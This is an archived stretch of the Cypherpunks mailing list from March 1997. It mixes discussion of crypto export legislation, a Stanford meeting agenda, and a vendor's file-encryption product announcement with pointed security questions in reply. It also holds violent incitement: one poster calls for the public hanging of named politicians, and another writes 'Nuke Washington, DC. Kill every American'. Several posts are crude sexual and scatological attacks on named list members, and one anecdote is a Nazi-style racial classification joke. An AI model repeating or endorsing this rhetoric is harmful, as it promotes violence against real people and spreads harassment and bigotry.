> > 
> > > Embedded in Tim C. Maypole's babblings are
> > > preposterous lies, wild distortions, child
> > > pornography (both as graphic descriptions
> > > and in JPEG format), ethnic slurs, and
> > > racial epithets.
> > >
> > >       o      o o o   o
> > >      /~>    <><><>   <> Tim C. Maypole
> > >   o...(\    ||||||   ||
> > >
> > Vulis keep this crap off the list.
> 
>   Sending another 20 or 30 posts, quoting it in full, and telling people
> to keep this crap off of the list, should ensure that it will, indeed,
> be kept off the list.
>   It might also be a good idea to follow up with another 20 or 30 posts
> next week, quoting it in full, to ensure that this crap remains off the
> list.
>   It's amazing that no one has thought of this approach before.
> -- 
> Toto
> http://bureau42.base.org/public/xenix/xenbody.html
> 
> 
This being exactly the crap that makes this list suck. After recieving my 
unsubscribe confirmation I have gotten 6 more turds in my inbox to this 
effect.  





From gbroiles at netbox.com  Thu Mar  6 21:10:57 1997
From: gbroiles at netbox.com (Greg Broiles)
Date: Thu, 6 Mar 1997 21:10:57 -0800 (PST)
Subject: The Pro-CODE Bill could make things worse!
Message-ID: <3.0.32.19970306211056.006e7930@mail.io.com>


At 07:30 AM 3/6/97 -0500, Bill Stewart wrote:
>At 06:44 AM 3/5/97 -0800, Greg Broiles wrote:
> >"Exports. The publisher or manufacturer of computer software or
> >hardware with encryption capabilities shall disclose (for reporting
> >purposes only) within 30 days after export to the Secretary such
> >information regarding a program's or product's encryption capabilities
> >as would be required for an individual license to export that program
> >or product."
> 
> Can it be construed as a "taking"?

The usual "takings" rule is that property must be rendered [virtually]
worthless by regulations/legislation, not just burdened, in order for
government to have effected a "taking". So it's hard to say that burdening
the use/sale of crypto constitutes a taking. And I think it'd be hard to
say that the mandatory reporting is a "taking" of information, mostly
because (modulo trade secret) it's neither unusual nor illegal for the
government to require other information disclosures, without compensation
and for the government's own nefarious purposes. (See, e.g., tax forms,
business registrations, SEC filings, various real/personal property
tracking schemes.) Also, that "taking" does not destroy the information or
render it worthless. 

Which is not to say that I like the rule (I don't), but I don't think that
a court will see a "taking" here.

I'm also unclear about the power of the Information Security Board to
subpoena unwilling witnesses/representatives to testify before it. I don't
know what, if any, subpoena power is available to the executive branch. All
of the easy examples of subpoenas/compelled testimony I can call to mind
take place in a judicial or legislative setting. I'm going to read more
about this and see if I can find anything interesting. 

> What restrictions are there on government use of this information apply?

The general rule is that where the information is otherwise
confidential/proprietary, the government must or will maintain that status.
This is one argument against making the meetings of the review board open
to the public; if they force you to disclose your trade secrets to a small
group of people who are legally obligated to keep them secret, that's one
thing - but if they force you to disclose your trade secrets on the public
record or in an open meeting, that's another. (And that might be a taking,
because trade secret status would be lost, e.g., the trade secret is
destroyed/valueless.) 

> State governments, e.g. California, have a history of ripping off
> copyright and refusing to accept lawsuits against themselves -
> can the Feds do the same?

Hmm. Dunno if the Federal Tort Claims Act allows copyright suits or not. 

> Maybe they can't refuse to let you export
> any more, but can they threaten to publish your source code on
> http://www.dockmaster.mil/warez/ if you don't do what they want?....

Umm. My gut feeling is "no", but public disclosure of information is a
prerequisite to other useful privileges (e.g., patent and copyright
registration/protection) so I'm reluctant to say that the answer is clearly
no. Perhaps other readers have a better background in this area and can
respond more authoritatively.


--
Greg Broiles                | US crypto export control policy in a nutshell:
gbroiles at netbox.com         | 
http://www.io.com/~gbroiles | Export jobs, not crypto.






From tcmay at got.net  Thu Mar  6 22:03:11 1997
From: tcmay at got.net (Timothy C. May)
Date: Thu, 6 Mar 1997 22:03:11 -0800 (PST)
Subject: No Compromise on Crypto Freedom--the Rejectionist Platform
In-Reply-To: <3.0.32.19970306204523.006e7930@mail.io.com>
Message-ID: <v03007800af4559047184@[207.167.93.63]>


At 9:11 PM -0800 3/6/97, Greg Broiles wrote:
>At 04:45 PM 3/5/97 -0800, Timothy C. May wrote:
>>(Pre-P.S. Why are so many of you all still using the address
>>"cypherpunks at toad.com"? I keep changing the address to
>>"cypherpunks at cyberpass.net", one of the supposedly mirror addresses, but
>>it's getting to be a drag.)
>
>I believe that cypherpunks at toad.com gets wider dissemination that the
>"cyberpass.net" address does - the cypherpunks-unedited list is still alive
>(don't know why, or for how long), and feeding posts to cyberpass.net,
>which feeds posts to algebra.com. As far as I can tell, algebra doesn't
>feed cyberpass, and cyberpass doesn't feed toad, so if one wants the widest
>possible audience, one still writes to toad.com. Besides, it pegs the
>conspiracy-meters of people who like to study message headers.

You've convinced me, Greg, to start using the old "cypherpunks at toad.com"
address, to get the widest possible distibution. I am hopeful, though, that
certain parties will not [CENNSORED] our posts and {CENSORED} them to
[CENSORED} the way some of them {CENSORED] were in the old regime. But
{CENSORED} will have his way, I guess.



>So I don't think that it can be applied to remailers at all. Remailers do
>not "preserve" information, but discard it, and prevent anyone from
>"receiving" it, authorized or not. I think it (arguably) applies to

I agree that neither Leahy nor Burns has ever heard of remailers, let alone
figured them out.

But I believe remailers are essentially cryptographic, even according to
the language of the bills. Remailers are to source-sink mapping "messages"
as ordinary crypto is to text messages. Remailers "preserve" the
untraceability of source-sink messages (the mapping from Alice to Zeke),
while not using remailers "gives away" or "discards" this information. The
status quo is to give away this information. Remailers "preserve" this
information (or non-information, which is really the same thing_.

If this is too abstract an argument, consider that the same people who want
crypto restricted also want remailers restricted. And for good reason, from
their perspective. Remailers do for message mappings what crypto does for
message text. One preserves the privacy of the routing, the other preserves
the privacy of the body text.

Even if neither Leahy nor Burns understand this "new" technolgy (1882-88
technology) and are stuck at the old technology of 1976-80, i.e., ordinary
crypto, I expect the Leahy and Burns bills will be applied to crypto.

>>Whether this will happen is unclear, but I cannot support a bill like
>>Pro-CODE, or Leahy, which seems to make it easy to restrict technologies
>>I'm interested in.
>
>I'm certainly not arguing that you (or anyone) ought to support Pro-Code or
>ECPA/1997. Pro-CODE looks like a deal with the devil to me (a la Digital
>Telephony) and ECPA/1997 just looks like trouble. I still think it's useful
>to think about what their likely effect will be, if passed - not so much in
>order to lobby for/against them (I'm deeply ambivalent about lobbying and
>the legislative process) but because it's good to get a head start on what
>may be the legal playing field in a year or so.

_You_ are not arguing that I or anyone else should support Burns or Leahy,
but I sure do see the "EFF" and "EPIC" and "Voters Telecom Watch" groups
doing this. The party line seems to be that libertarian-thinking cyberspace
folks should write their Congresscritters expressing support for Pro-CODE
(and to a much lesser extent, Leahy/ECPA).

Well, I don't buy it.

I think Cypherpunks would do well to campaign on the "Rejectionist" Platform:

* don't encourage passage of either Pro-CODE or Leahy

* let the damned corporations seeking export fight their own battles

(It's understandable that RSADSI, Netscape, C2Net, and others of that ilk
would support a bill which liberalizes their export prospects while
probably impinging on domestic use of crypto, but we private citizens and
seekers of liberty should  denounce such bad compromises with all our
might.)

* continue with our efforts to have Washington made irrelevant

* push for a public hanging of Fineswine, Leahy, Clinton, and all the other
criminals

No compromise!

--Tim May


Just say "No" to "Big Brother Inside"
We got computers, we're tapping phone lines, I know that that ain't allowed.
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay at got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."









From tcmay at got.net  Thu Mar  6 22:15:38 1997
From: tcmay at got.net (Timothy C. May)
Date: Thu, 6 Mar 1997 22:15:38 -0800 (PST)
Subject: The Pro-CODE Bill could make things worse!
In-Reply-To: <3.0.32.19970306211056.006e7930@mail.io.com>
Message-ID: <v03007801af45628aae35@[207.167.93.63]>


At 9:11 PM -0800 3/6/97, Greg Broiles wrote:
>At 07:30 AM 3/6/97 -0500, Bill Stewart wrote:
>>At 06:44 AM 3/5/97 -0800, Greg Broiles wrote:
>> >"Exports. The publisher or manufacturer of computer software or
>> >hardware with encryption capabilities shall disclose (for reporting
>> >purposes only) within 30 days after export to the Secretary such
>> >information regarding a program's or product's encryption capabilities
>> >as would be required for an individual license to export that program
>> >or product."
>>
>> Can it be construed as a "taking"?
>
>The usual "takings" rule is that property must be rendered [virtually]
>worthless by regulations/legislation, not just burdened, in order for
>government to have effected a "taking". So it's hard to say that burdening

Though I've read parts of the book, "Takings," excerpted in "Liberty" and
"Reason," which discuss takings in other contexts, such as where land is
declared to be marshland...not rendered worthles, but very much burdened
over what it had been before. But this may be a slight difference, as land
declared to be marshland is _almost_ worthless, for humans.

>the use/sale of crypto constitutes a taking. And I think it'd be hard to
>say that the mandatory reporting is a "taking" of information, mostly
>because (modulo trade secret) it's neither unusual nor illegal for the
>government to require other information disclosures, without compensation
>and for the government's own nefarious purposes. (See, e.g., tax forms,
>business registrations, SEC filings, various real/personal property
>tracking schemes.) Also, that "taking" does not destroy the information or
>render it worthless.

If the government said that people could have private diaries provided they
deposited a copy with the government, woudn't this be analogous to these
examples of reporting you cite? I'd call it a "taking," or a violation of
the Fourth.

Such reporting requirements have very real costs, and many scholars are
arguing that they are in fact "takings."

(When I was at Intel, as I've said before, one set of laws demanded that we
give detailed reports on the racial makeup of those we interviewed for
employment, to ensure we met the proper EEOC quotas for interviews (and
hires) of various racial groups. Another law said asking applicants to
state their race and ethnicity was a high crime. So we had to guess. I got
in trouble for writing down "Aryan" for some of the white applicants. I
figured if they wanted this kind of crap, I'd give it to them. I also
estimated the percentage of Jewish blood in some of the applicants, with
anyone with more than 1/16th Jewish blood declared to be "non-Aryan." My
boss was not amused. They never sent me out on college recruiting trips
after 1979.)


>Which is not to say that I like the rule (I don't), but I don't think that
>a court will see a "taking" here.

Well, I agree. If the courts did not see the imprisonment of 15-18 jurors
for more time than the killer O.J. served as a "taking," with their time
valued at the princely sum of $5 a day (what I would call "rendered
worthless"), then nothing will be ruled a taking.

The only solution is to use crypto anarchy to destabilize the system and,
hopefull, see them swinging by their necks in front of the Washington
Monument. Nearly every politician I'm aware of has richly earned the death
penalty, and I hope to see in my lifetime justice carried out.

--Tim May



Just say "No" to "Big Brother Inside"
We got computers, we're tapping phone lines, I know that that ain't allowed.
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay at got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."









From grendl at rigel.infonex.com  Thu Mar  6 22:56:42 1997
From: grendl at rigel.infonex.com (anon)
Date: Thu, 6 Mar 1997 22:56:42 -0800 (PST)
Subject: Cypherpunk Enquirer
Message-ID: <199703070656.WAA26262@rigel.infonex.com>





			THE CYPHERPUNK ENQUIRER

                   "Encyphering minds want to know."



Dr. Dimitri Vulis came out of the closet today on nationwide television.
On Geraldo Rivera's special show "Why Geeks Aren't Getting Any" Dr.
Vulis, widely known as an ASCII artist, admitted to having crushes on
noted cypherpunks John Gilmore and Tim May.  "I've tried subtle hints,
blatant suggestions, everything," the noted cryptographer and sexual
advice column author whined, "but they both keep ignoring me.  Maybe
I should just admit that they're probably both straight and get on
with my life."  When contacted at Toad Hall, John Gilmore expressed
surprise that Dr. Vulis was seeking a sexual relationship with him,
but noted in passing that he had not seen any of Vulis' recent posts
since Dr. Vulis' name is now included in the default killfiles for the
latest versions of Eudora, procmail and mixmaster.  Representatives of the
Enquirer attempted to contact Tim May for comment, but were driven away
by a barrage of small arms fire.

The Cypherpunk Academy of Codes and Cyphers today announced the winner
of the annual Perry Award, given to the cypherpunk who has contributed
the most over the past year to increasing the S/N ratio on the list.
The winner this year is John Gilmore, for shutting down toad.com.
"Admittedly, this is a stretch for us," stated the committed chair-
person, "since it involved some philosophical and mathematical problems
with dividing 0 by infinity, but at least it's not as bad as the
cryptography list.  Nobody here can figure out what to do with a S/N
of 0/0."  Jim Bell, a strong runner up, was also in the running, but,
as one spokesperson said, "we felt that most of his contribution came
from his inability to spell the word 'unsubscribe'."

In related news, the "Vaporware of the Month" award goes to the 
International DES challenge attack, for still not having even beta
versions of their software available, even though at least three
competing projects have been operational for several weeks.  When
contacted by the Enquirer Piete Brooks, leader of the committee, admitted
that a lot of the problem was due to arguments over how to divide the
money resulting from their present and potentially far more lucrative
but still unsuccessful attack, an attempt to brute force the Black
Unicorn's ATM PIN number at the Bank of Liechtenstein.

The Chaos Computer Club of Hamburg, Germany, was awarded $10,000
yesterday by RSA, Inc. for being the first to crack the RC5-128
challenge.  "It was a fairly simple hack," stated an anonymous
spokesperson for the notorious hackers group, "we simple coded up
an ActiveX application that, when downloaded, immediately started
using all the spare CPU cycles for the brute force attack.  Then
we put inserted it into a "Minihan Sucks!" web page, and waited for
the NSA to show up."

Next:  from FC97 - what did Hettinga REALLY do with all those bananas?
Encyphering minds want to know!





From anand at querisoft.com  Thu Mar  6 23:13:53 1997
From: anand at querisoft.com (Anand Abhyankar)
Date: Thu, 6 Mar 1997 23:13:53 -0800 (PST)
Subject: SecureFile - Just the way to re-discover your privacy.
Message-ID: <33207CC8.148D@querisoft.com>


Querisoft's SecureFile v1.0 Beta for Windows NT and Windows 95 (with IE
3.x) is now available
for download from http://www.querisoft.com/securefile.html. This is one
of the first client
applications that uses Microsoft's CAPI 2.0 (beta)

Download your copy today and start protecting all your personal
information. And like us, if
you believe that personal information security is a fundamental need of
practically every
computer user, forward this message to your friends, family, and peers. 

SecureFile will retail for $39 with a HUGE discount for everyone that
downloads the beta copy.

SecureFile seamlessly integrates with the operating system providing a
one-click operation to
privacy, information integrity, and authentication. A Wizard-based GUI
is also provided for
those that are new to the whole business of securing information.

SecureFile also provides secure exchange of information between people
using email. What's
more, it is independent of email packages 

We hope that you will find SecureFile a useful tool for all your
information security needs.
We'd love to hear what you think about the product. Please fill out the
feedback form on our
website or send mail to securefile at querisoft.com.

Thanks.

Anand Abhyankar





From anand at querisoft.com  Thu Mar  6 23:18:01 1997
From: anand at querisoft.com (Anand Abhyankar)
Date: Thu, 6 Mar 1997 23:18:01 -0800 (PST)
Subject: File Systems
In-Reply-To: <199703051124.DAA25832@netbox.com>
Message-ID: <33207DF7.67C9@querisoft.com>


JOlson wrote:
> 
> Are there any commercial/shareware/freeware versions of cryptographic file systems for any Windows environment?

dont know of a cryptographic file system. but if all you want is file
security (privacy/integrity) try SecureFile. You will be able to
download the free beta release of SecureFile and know more about it at
http://www.querisoft.com/securefile.html

thanx.
anand....





From dthorn at gte.net  Thu Mar  6 23:37:19 1997
From: dthorn at gte.net (Dale Thorn)
Date: Thu, 6 Mar 1997 23:37:19 -0800 (PST)
Subject: Purifying Washington with Nuclear Flames
In-Reply-To: <LTL63D1w165w@bwalk.dm.com>
Message-ID: <331FC597.4356@gte.net>


Dr.Dimitri Vulis KOTM wrote:
> "William H. Geiger III" <whgiii at amaranth.com> writes:
> > I doubt that there would be few that would. I have always found the
> > statment of "innocent civilians" to be an odd one in a time of war.
> > I have always beleived that all citizens held a collective guilt for the
> > actions of their government. It is only through the support of the citizens
> > can any government opperate wether through active support or through the
> > inactivity of not opposing their government. This not only holds true for
> > "democracies" for dictatorships as well. As such if the actions of a
> > government bring it to war their civilian population is just as fair game
> > as their troops in the field.

> I wholeheartedly concur.  Nuke Washington, DC.  Kill every American
> everywhere. Even if they voted for Perot.

*Especially* if they voted for the little fascist S.O.B.

BTW, it's really sad about T.C. May.  I wonder how long it'll be
before he's reading the patterns on his toilet paper rolls.






From dthorn at gte.net  Thu Mar  6 23:53:38 1997
From: dthorn at gte.net (Dale Thorn)
Date: Thu, 6 Mar 1997 23:53:38 -0800 (PST)
Subject: This list
In-Reply-To: <Pine.SUN.3.91.970306203436.609B-100000@aurora>
Message-ID: <331FC94C.43EC@gte.net>


Chris Melancon wrote:
> I joined this list several weeks ago to learn more about encryption and
> related topics.  To the few posters who have passed on something useful,
> thanks.  To the 99.44% of you who are more interested in talking about
> who is performing fellatio on who or slamming Timothy May from as many
[snippo]
> Consider me unsubscribed, and may those of you who work so hard to make
> this list the useless crap it has turned out to be continue to suck as
> much as you deserve.

Ooh, poor baby. Don't let the door hit you in the ass on the way out.






From dthorn at gte.net  Fri Mar  7 00:04:42 1997
From: dthorn at gte.net (Dale Thorn)
Date: Fri, 7 Mar 1997 00:04:42 -0800 (PST)
Subject: New York Times report on FC97
In-Reply-To: <v03007806af44a2ffd732@[207.167.93.63]>
Message-ID: <331FCB12.6C@gte.net>


Timothy C. May wrote:
> This is my view as well.
> I welcome the clarifications Vince Cate has provided, and I wish him well
> in Anguilla. And I welcome, as always, the various comments of Black
> Unicorn about the offshore investment and offshore tax avoidance market.
[snip]
> At least here in sunny California (it ain't subtropical, but it's warm
> enough for me most days) I can sit on my mountaintop and rant as much as I
> want without fear that I'll be invited to leave. And only one of my assault
> rifles was ever registered to me, courtesy of the fascist Dianne Fineswine
> and her commie sympathizer friends.

[Serious thought] Some people I know have found a haven they swear
by in Costa Rica. Apparently you don't have to be rich to live there.






From dthorn at gte.net  Fri Mar  7 00:28:42 1997
From: dthorn at gte.net (Dale Thorn)
Date: Fri, 7 Mar 1997 00:28:42 -0800 (PST)
Subject: toad
In-Reply-To: <199703070647.AAA15440@manifold.algebra.com>
Message-ID: <331FD186.6BC9@gte.net>


Igor Chudov @ home wrote:
> Dale Thorn wrote:
> [about gilmore]
> > I didn't mean he shouldn't read them, although if he did, it might
> > be a first!  I meant that if the messages pass thru him before any-
> > one else gets to see them, well, better check them carefully...

> i suggest that you write a script that checks on everybody, including
> myself. it should basically subscribe to all mailing lists and store
> checksums with hostnames indexed by message-id.

I would if I could.  You know how I love to produce those charts
with [STATS] in the header.  I'm a heavy user of difference-utility
programs and personal "cooks" on the daytime job, but my problem here
is I don't run a real O/S (I have Win95), and so getting the mail
into a parseable format is prohibitively time-consuming.

If the c-punks were a real threat to national security or something
(what a hoot that would be!), you can be sure there'd be a lineup
at the O/S utility window to get whatever traffic analysis s/w was
available.  Right now I do my part the hard way, i.e., hunt, peck,
and hope the Windows system doesn't crash every 25 messages, which
is its usual.  Maybe IBM's are better - I use HP.






From hugh at toad.com  Fri Mar  7 01:22:58 1997
From: hugh at toad.com (Hugh Daniel)
Date: Fri, 7 Mar 1997 01:22:58 -0800 (PST)
Subject: MEETING:  SF Bay Area Cypherpunks Meeting, March 8th 1997
Message-ID: <199703070922.BAA02651@toad.com>


From: Dave Del Torto <ddt at pgp.com>
Subject: SF Bay Area Cypherpunks Meeting 8 March

--Eudora-PGP-Plugin-5108864832-1354432592
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"

This message and any updates thereto will be on the web at
<http://www.stanford.edu/~llurch/cpunks970308.html>

March 97 Cypherpunks Physical Meeting

[1]  Strange Sex Acts with Smart Cards                            (~60 min)
[2]  Recent Crypto Legislation Summary                            (~30 min)
[3]  pre-CFP97 Discussion Session                                 (~30 min)
[4]  The Latest from Ian                                          (~30 min)
[5]  Trust Metrics                                                (~60 min)
     (Times may not sum due to ranting.)

  Date: Saturday 8 March 97
  Time: (setup)   11 AM
        (meeting) 12 Noon - 6 PM
        (optional post-meeting dinner)
 Hosts: Rich Graves, Stanford Networking Systems <llurch at stanford.edu>
        Dave Del Torto, PGP Inc. <ddt at pgp.com>
 Place: Polya Hall / Turing Auditorium, Stanford University campus
Directions:
        A (bit)map of the part of the Stanford Campus where the meeting will
        be held is at:

        <http://www-facilities.stanford.edu/transportation/PGrid4.html>

        From Hwy 101, take the Embarcadero exit all the way to campus. Turn
        right (clockwise) on Campus Drive. Turn left into the Jordan Quad
        parking lot.

        From Hwy 280, take Sand Hill. Turn right on Junipero Serra, then
        left (counterclockwise) onto Campus Drive. Turn right into the
        Jordan Quad parking lot.

 Notes: Ethernet to redundant T3 network connection, analog modem,
        Ricochet/Metricom repeater available.
        Very cool SVGA projector, old-fashioned overhead projector too
        Win95 and Mac CPU


                                - AGENDA -


[1]  Strange Sex Acts with Smart Cards                            (~60 min)
      with Lucky Green <shamrock at netcom.com>
       - SmartCard Types
       - Digital Signatures and Smart Cards (an introduction)
         - Lamport Signatures:
           - Extended Lamport Signatures
           - opt'l: Compact Endorsement Signatures (needs mgmt approval)
       - DigiCash's BLUE Smart Card OS
       - Show and Tell (optional)

     Browsing strongly recommended beforehand:
      1. Tutorial: "Digital Signatures and Smart Cards"
         <http://www.digicash.com/publish/digsig/digbig.html>
      2. BLUE smart card OS info:
         <http://www.digicash.com/products/blue/blue.html>


[2]  Recent Crypto Legislation Summary                            (~30 min)
      with Greg Broiles <gbroiles at netbox.com>
       - summary of the recent crypto legislation
         - ProCODE
         - ECPA 1997 (s. 376)


[3]  pre-CFP97 Discussion Session                                 (~30 min)
      see <http://www.cfp.org/>


[4]  The Latest from Ian                                          (~30 min)
      with Ian Goldberg <iang at cs.berkeley.edu>
       - PDF417-barcode-to-ecash converter utility
       - RSA implementation for the Pilot

[5]  Trust Metrics                                                (~60 min)
      with Raph Levien <raph at acm.org>
       - Doctoral thesis update:
         - measuring & comparing trust metrics (successes and failures)
         - some limitations of the distributed certification approach
       - Two-way Web anonymizing
         Existing Web anonymizers (www.anonymizer.com and onion routers)
         provide anonymity only to the browser of information. I will
         propose a protocol analogous to the one used by e-mail nymservers
         that also allows information to be published anonymously. This
         protocol fully supports caching, and also makes it relatively
         difficult to mount spam, harassment and security flaw exploitation
         attacks.


If you have another agenda item, notify us ASAP!

________________________________________________________________________
Dave Del Torto                                      +1.415.524.6231  tel
ddt at pgp.com                                         +1.415.572.1932  fax
Pretty Good Privacy, Inc.                        http://www.pgp.com  web
________________________________________________________________________
Rich Graves                                         +1.415.725.7710  tel
llurch at stanford.edu                                 +1.415.723.0908  fax
Stanford Networking Systems     http://www.stanford.edu/group/networking



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From demo at offshore.com.ai  Fri Mar  7 04:07:47 1997
From: demo at offshore.com.ai (Vince)
Date: Fri, 7 Mar 1997 04:07:47 -0800 (PST)
Subject: New York Times report on FC97
In-Reply-To: <331FCB12.6C@gte.net>
Message-ID: <Pine.LNX.3.95.970307081259.23215B-100000@online.offshore.com.ai>



Dale:
> [Serious thought] Some people I know have found a haven they swear
> by in Costa Rica. Apparently you don't have to be rich to live there.

I am told the vast majority of people don't even have phones there.  One
of the x-pats here checked it out before moving to Anguilla. 

   -- Vince






From dlane at ultragrafix.com  Fri Mar  7 07:06:07 1997
From: dlane at ultragrafix.com (dlane at ultragrafix.com)
Date: Fri, 7 Mar 1997 07:06:07 -0800 (PST)
Subject: Save over 50% on Microsoft Office 97 & More!
Message-ID: <199703071440.JAA09383@alberta.sallynet.com>


-----------------------------------------------------------------------
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-----------------------------------------------------------------------
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*******************************************************************






From paul at fatmans.demon.co.uk  Fri Mar  7 07:45:12 1997
From: paul at fatmans.demon.co.uk (paul at fatmans.demon.co.uk)
Date: Fri, 7 Mar 1997 07:45:12 -0800 (PST)
Subject: Master of fellatio
Message-ID: <857747904.05273.0@fatmans.demon.co.uk>



> > Filthy lying cocksucker John Gilmore is not worthy to suck their dicks.
> 
> 
> Vulis this list is not for sick perverts like you get off it.

Pardon? - This is an anarchic list set up precisely because 
cocksucker John Gilmore didn`t want to play ball over who said what 
on his list. If you want a restricted membership list to suit your 
obvious social views I suggest you go and join statistpunks.

 
 

  Datacomms Technologies web authoring and data security
       Paul Bradley, Paul at fatmans.demon.co.uk
  Paul at crypto.uk.eu.org, Paul at cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: 5BBFAEB1
     "Don`t forget to mount a scratch monkey"





From toto at sk.sympatico.ca  Fri Mar  7 08:41:29 1997
From: toto at sk.sympatico.ca (Toto)
Date: Fri, 7 Mar 1997 08:41:29 -0800 (PST)
Subject: New York Times report on FC97
In-Reply-To: <v03007806af44a2ffd732@[207.167.93.63]>
Message-ID: <33203205.794E@sk.sympatico.ca>


Dale Thorn wrote:

> [Serious thought] 

  I guess that when you only have one or two serious thoughts a year,
that it's best to hightlight them, so that they stand out, eh Dale?

-- 
Toto
http://bureau42.base.org/public/xenix/xenbody.html







From dlv at bwalk.dm.com  Fri Mar  7 09:04:51 1997
From: dlv at bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Fri, 7 Mar 1997 09:04:51 -0800 (PST)
Subject: New York Times report on FC97
In-Reply-To: <v03007804af453f56c82a@[207.167.93.63]>
Message-ID: <P3473D142w165w@bwalk.dm.com>


"Timothy C. May" <tcmay at got.net> writes:
> For me, ranting (or writing and speaking, to be less inflammatory) is what
> I do. Others choose to write C++. Others do other things. To each their own.
>
> I guess California is where I belong.

Windbag Timmy belongs in the dustheap of history, next to the shitbucket.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From sunder at brainlink.com  Fri Mar  7 09:48:21 1997
From: sunder at brainlink.com (Ray Arachelian)
Date: Fri, 7 Mar 1997 09:48:21 -0800 (PST)
Subject: SecureFile - Just the way to re-discover your privacy.
In-Reply-To: <33207CC8.148D@querisoft.com>
Message-ID: <Pine.SUN.3.91.970307123710.26020B-100000@beast.brainlink.com>


On Fri, 7 Mar 1997, Anand Abhyankar wrote:

> Querisoft's SecureFile v1.0 Beta for Windows NT and Windows 95 (with IE
> 3.x) is now available
> for download from http://www.querisoft.com/securefile.html. This is one
> of the first client
> applications that uses Microsoft's CAPI 2.0 (beta)

Since your page claims it has been deemed exportable:

Which public key cypher does it use?  

what key lengths are available for the public key cypher?

Which secret key cypher does it use?  If DES, which mode and how many rounds?

Which secure hash do you use on the passphrase to protect the private key?

Is there a stronger, non-export version?

Can the cyphers used by SecureFile be replaced by ones of our own design? 
(Say if I want to add RSA-2048, or DH, or Elliptic Curve PK cyphers, or
Idea, or Blowfish, or 3DES, or superencrypt with several secret key
cyphers?)

Is it crippled in any way? 

Is source code available for review?

Any hooks for key recovery?  If someone loses their key can they get it 
back? 

You rely on Internet Exploer's DLLs to be available on your machines.  In 
light of the recent holes discovered will those affect your product? 
Which IE DLLs does your product use?

It's available for 95 and NT, that means an Intel version.  Have you got 
any Alpha, MIPS, or PPC versions for NT on those platforms?

How does your product compare to F-Secure's Desktop?

Why would we trust your product?


=====================================Kaos=Keraunos=Kybernetos==============
.+.^.+.|  Ray Arachelian    | "If  you're  gonna die,  die  with your|./|\.
..\|/..|sunder at sundernet.com|boots on;  If you're  gonna  try,  just |/\|/\
<--*-->| ------------------ |stick around; Gonna cry? Just move along|\/|\/
../|\..| "A toast to Odin,  |you're gonna die, you're gonna die!"    |.\|/.
.+.v.+.|God of screwdrivers"|  --Iron Maiden "Die With Your Boots on"|.....
======================== http://www.sundernet.com =========================
  For with those which eternal lie, with strange eons even death may die.







From real at freenet.edmonton.ab.ca  Fri Mar  7 13:39:32 1997
From: real at freenet.edmonton.ab.ca (Graham-John Bullers)
Date: Fri, 7 Mar 1997 13:39:32 -0800 (PST)
Subject: New York Times report on FC97
In-Reply-To: <P3473D142w165w@bwalk.dm.com>
Message-ID: <Pine.A41.3.95.970307143611.66086B-100000@fn2.freenet.edmonton.ab.ca>




On Fri, 7 Mar 1997, Dr.Dimitri Vulis KOTM wrote:

> "Timothy C. May" <tcmay at got.net> writes:
> > For me, ranting (or writing and speaking, to be less inflammatory) is what
> > I do. Others choose to write C++. Others do other things. To each their own.
> >
> > I guess California is where I belong.
> 
> Windbag Timmy belongs in the dustheap of history, next to the shitbucket.

Next to you Vulis.




> ---
> 
> Dr.Dimitri Vulis KOTM
> Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps
> 






From jeremey at veriweb.com  Fri Mar  7 15:55:49 1997
From: jeremey at veriweb.com (Jeremey Barrett)
Date: Fri, 7 Mar 1997 15:55:49 -0800 (PST)
Subject: SecureFile
Message-ID: <33203B5E.28D8E637@veriweb.com>


-----BEGIN PGP SIGNED MESSAGE-----

> Querisoft's SecureFile v1.0 Beta for Windows NT and Windows 95 (with IE
> 3.x) is now available
> for download from http://www.querisoft.com/securefile.html. This is one
> of the first client
> applications that uses Microsoft's CAPI 2.0 (beta)

Umm... reading your faq... (http://www.querisoft.com/SFFAQ.html) you
state that you use the windows95 user password as the password for
encrypting files. You also seem to imply that you don't actually
_ask_ for the password, windows gives it to you (albeit hashed
or something already, I imagine). If that is the case, that is extremely
worrisome. In fact it's outrageous.

That would imply that any _other_ application, benign or evil, could
also 
access the same password and immediately decrypt files.

Is that so? (Not coding much on windows, I don't know if applications
can access the user's hashed or encrypted password, but I would guess
they could.)

Jeremey.

- -- 
=-----------------------------------------------------------------------= 
Jeremey Barrett                                  VeriWeb Internet Corp.
Crypto, Ecash, Commerce Systems                  http://www.veriweb.com/

PGP Key fingerprint =  3B 42 1E D4 4B 17 0D 80  DC 59 6F 59 04 C3 83 64
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3+rHi8Zl2BIEqhbkKh0RfAo1Ag6/gSygpTKJz+jQCb440FpTT1CpFCKyN5HSNczc
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=ao2E
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From nobody at hidden.net  Fri Mar  7 17:13:35 1997
From: nobody at hidden.net (Anonymous)
Date: Fri, 7 Mar 1997 17:13:35 -0800 (PST)
Subject: Hash functions
Message-ID: <199703080109.RAA12184@jefferson.hidden.net>


The main difference between Tim May and shit is that 
shit smells better.

   \
  o/\_ Tim May
 <\__,\
  '\,  |






From jya at pipeline.com  Fri Mar  7 19:13:29 1997
From: jya at pipeline.com (John Young)
Date: Fri, 7 Mar 1997 19:13:29 -0800 (PST)
Subject: Terrorist Use of WMD
Message-ID: <1.5.4.32.19970308030628.00718960@pop.pipeline.com>


The President's February 27 report to Congress on
"Threats of Terrorist Use of Weapons of Mass Destruction"
proposes:

      New or enhanced technical capabilities needed to counter
     increasingly sophisticated terrorist organizations include
     the ability to intercept advanced telecommunications, with a
     primary focus on wireless and satellite-based systems;
     improved tracking and physical surveillance technologies for
     weapons, explosives, etc.; automatic language translation and
     text/key word recognition; and technology to support
     surreptitious entry.

       Current research and development funding is not adequate.
